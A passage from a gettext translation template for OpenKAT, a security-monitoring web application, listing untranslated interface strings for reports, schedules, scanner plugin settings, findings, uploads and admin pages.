\"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Rename the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rename\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"Rerun the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"\"\n\"By submitting you're generating the selected reports again, using the \"\n\"current data.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rerun\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"Reports history\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"\"\n\"On this page you can see all the reports that have been generated in the \"\n\"past. To create a new report, click the 'Generate Report' button.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows parent report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Close asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Open asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Asset reports details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, python-format\nmsgid \"\"\n\"This report consists of %(counter)s asset report with the following report \"\n\"type and object:\"\nmsgid_plural \"\"\n\"This report consists of %(counter)s asset reports with the following report \"\n\"types and objects:\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/views/report_overview.py\nmsgid \"Asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows asset report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"View all asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"No reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#: reports/views/base.py rocky/templates/header.html\n#: rocky/templates/tasks/partials/tab_navigation.html\n#: rocky/templates/tasks/reports.html rocky/views/tasks.py\nmsgid \"Reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\nmsgid \"An overview of reports that are scheduled or have been generated.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Scheduled\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"Scheduled reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"\"\n\"On this page you can see all the reports that are or have been scheduled. To \"\n\"schedule a report, select a start date and recurrence while generating a \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s schedules\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled for\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Schedule status\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Once\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recent reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Show report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"objects\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"No scheduled reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"Back to Reports History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"An overview of all underlying reports of\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Shows report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Input Object\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"Delete report recipe\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete report recipe \\\"%(name)s\\\"?\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"\"\n\"Deleting this report recipe means it will be permanently deleted. It will \"\n\"not be possible anymore to see or enable the schedule. You will find \"\n\"previously generated reports in the report history tab.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The objects listed in the table below were used to generate this report. For \"\n\"each object in the table it additionally shows the clearance level and \"\n\"whether or not the object was added by a user ('Declared') or indirectly \"\n\"identified through another service or system ('Inherited').\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No objects found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The table below shows which reports were chosen to generate this report, \"\n\"including a report description.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No report types found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"The table below shows all required or optional plugins for the selected \"\n\"reports.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Required and optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin enabled\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin options\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin scan level\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Enabled.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"required\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"optional\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin extra info\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"There are no required or optional plugins needed for the selected report \"\n\"types.\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select objects\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select report types\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Export setup\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"Save report\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"You do not have the required permissions to enable plugins.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one OOI to proceed.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one report type to proceed.\"\nmsgstr \"\"\n\n#: reports/views/mixins.py\nmsgid \"\"\n\"No data could be found for %(report_types). Object(s) did not exist on \"\n\"%(date)s.\"\nmsgstr \"\"\n\n#: reports/views/multi_report.py\nmsgid \"View report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Not enough permissions\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe '{}' deleted successfully\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe not found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"No schedule or recipe selected\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule disabled successfully. '{}' will not be generated automatically \"\n\"until the schedule is enabled again.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule enabled successfully. '{}' will be generated according to schedule.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"An unexpected error occurred, please check logs for more info.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Other OOI type selected than Report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Deletion successful.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Multi organization reports cannot be rescheduled. It consists of imported \"\n\"data from different organizations and is not based on newly generated data.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Rerun successful. It may take a moment before the new report has been \"\n\"generated.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\n#, python-format\nmsgid \"\"\n\"Couldn't rerun %s, since the recipe for this report has been disabled or \"\n\"deleted.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Renaming failed. Empty report name found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report names and reports does not match.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Reports successfully renamed.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report {} could not be renamed.\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"1: Select objects\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"2: Choose report types\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Configuration\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"4: Export setup\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Export setup\"\nmsgstr \"\"\n\n#: tools/forms/base.py\nmsgid \"Date\"\nmsgstr \"\"\n\n#: tools/forms/base.py tools/forms/scheduler.py\nmsgid \"The selected date is in the future. Please select a different date.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"For example: -sTU --top-ports 1000\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"JSON Schema\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Input object type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Output mime types\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Scan type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval amount\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Specify the scanning interval for this Boefje. The default is 24 hours. For \"\n\"example: 5 minutes will let the Boefje scan every 5 minutes.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval frequency\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Object creation/change\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Choose weather the Boefje should run after creating and/or changing an \"\n\"object. \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"KAT-ID\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Unique ID within OpenKAT, for this type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Give the finding type a fitting title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the finding type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Risk\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"How can this be solved?\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe how this type of finding can be solved\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"References\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give some references on the solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give sources and references on the suggested solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Impact description\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the solutions impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution chance\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution effort\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"ID should start with \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Finding type already exists\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Click to select one of the available options\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Proof\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Provide evidence of your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Reproduce finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please explain how to reproduce your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Date/Time (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Doc! I'm from the future, I'm here to take you back!\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"OOI doesn't exist\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted and non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by severity\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py tools/forms/ooi_form.py tools/forms/scheduler.py\nmsgid \"Search\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Object ID contains (case sensitive)\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Filter types\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Clearance Level\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Next scan\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show objects that don't meet the Boefjes scan level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show Boefjes that exceed the objects clearance level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"\"\n\"All the boefjes with a scan level below or equal to the clearance level will \"\n\"be allowed to scan this object.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Expires by (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"option\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Optionally choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Please choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance level\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance type\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"From\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"To\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Cancelled\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Completed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Dispatched\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Failed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Queued\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Running\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"Search by object name\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"--- Show all ----\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"recommendation\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"low\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"medium\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"very high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"critical\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"quickfix\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Declared\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Inherited\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Empty\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add one finding type ID per line.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of your finding (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of when the raw file was generated (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"OpenKAT stores a time indication with every observation, so it is possible \"\n\"to see the status of your network through time. Select a datetime to change \"\n\"the view to represent that moment in time.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In OpenKAT, all Boefjes with the same container image will be \"\n\"seen as 'variants' and will be shown together on the Boefje detail page. </\"\n\"p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"A description of the Boefje explaining in short what it can do. This will \"\n\"both be displayed inside the KAT-alogus and on the Boefje details page.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Select the object type(s) that your Boefje consumes. To select multiple \"\n\"objects, press and hold the 'ctrl'/'command' key and then click the items \"\n\"you want to select. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>If any other settings are needed for your Boefje, add these as a JSON \"\n\"Schema, otherwise, leave the field empty or 'null'.</p> <p> This JSON is \"\n\"used as the basis for a form for the user. When the user enables this Boefje \"\n\"they can get the option to give extra information. For example, it can \"\n\"contain an API key that the script requires.</p> <p>More information about \"\n\"what the schema.json file looks like can be found <a href='https://docs.\"\n\"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n\"html'> here</a>.</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Add a set of mime types that are produced by this Boefje, separated by \"\n\"commas. For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/\"\n\"{boefje-id}'</i></p> <p>These output mime types will be shown on the Boefje \"\n\"detail page as information for other users. </p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Select a clearance level for your Boefje. For more information about the \"\n\"different clearance levels please check the <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentation</a>.\"\n\"</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Choose when this Boefje will scan objects. It can run on a given interval or \"\n\"it can run every time an object has been created or changed. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Depth of the tree.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only CSV file supported\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"File could not be decoded\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"No file selected\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The uploaded file is empty.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The number of columns do not meet the requirements.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"OOI Type in CSV does not meet the criteria.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"An error has occurred during the parsing of the csv file:\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Upload CSV file\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only accepts CSV file.\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py rocky/templates/partials/explanations.html\nmsgid \"Object Type\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py\nmsgid \"Choose a type of which objects are added.\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Mime types\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"\"\n\"<p>Add a set of mime types, separated by commas, for example:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> or <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Mime types are used to match the correct normalizer to a raw file. When \"\n\"the mime type \\\"boefje/dns-records\\\" is added, the normalizer expects the \"\n\"raw file to contain dns scan information.</p>\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_raw.html\nmsgid \"Upload raw file\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Input or Scan OOI\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Click to select one of the available options, or type one yourself\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"OOI doesn't exist, try another valid time\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"A short code containing only lower-case unicode letters, numbers, hyphens or \"\n\"underscores that will be used in URLs and paths.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"This organization code is reserved by OpenKAT and cannot be used. Choose \"\n\"another organization code.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"new\"\nmsgstr \"\"\n\n#: tools/templatetags/ooi_extra.py\nmsgid \"Unknown user\"\nmsgstr \"\"\n\n#: tools/view_helpers.py rocky/templates/header.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Members\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Current status\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"Active\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"New\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Account status\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Not blocked\"\nmsgstr \"\"\n\n#: rocky/messaging.py\nmsgid \"\"\n\"You have trusted this member with a clearance level of L{}. This member \"\n\"needs at least a clearance level of L{} in order to do a proper onboarding. \"\n\"Edit this member and change the clearance level if necessary.\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is not an integer\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is less than 1\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page contains no results\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"The Scheduler has an unexpected error. Check the Scheduler logs for further \"\n\"details.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Could not connect to Scheduler. Service is possibly down.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Your request could not be validated.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task could not be found.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or \"\n\"wait for task to finish.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Bad request. Your request could not be interpreted by the Scheduler.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"The Scheduler has received a conflict. Your task is already in queue.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"A HTTPError occurred. See Scheduler logs for more info.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Schedule list: \"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task list: \"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Plain\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Solid\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dashed\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dotted\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Error code 403: Unauthorized\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Your account is not authorized to access this page or organization.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Please contact your system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"You may want to go back to the\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"Crisis Room\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"Error code 404: Page not found\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"\"\n\"The page you wanted to see or the file you wanted to view was not found.\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Skip to main content\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Welcome,\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"View site\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Documentation\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Change password\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Log out\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/header.html\nmsgid \"Breadcrumbs\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Home\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#, python-format\nmsgid \"Add %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\nmsgid \"Please correct the error below.\"\nmsgid_plural \"Please correct the errors below.\"\nmsgstr[0] \"\"\nmsgstr[1] 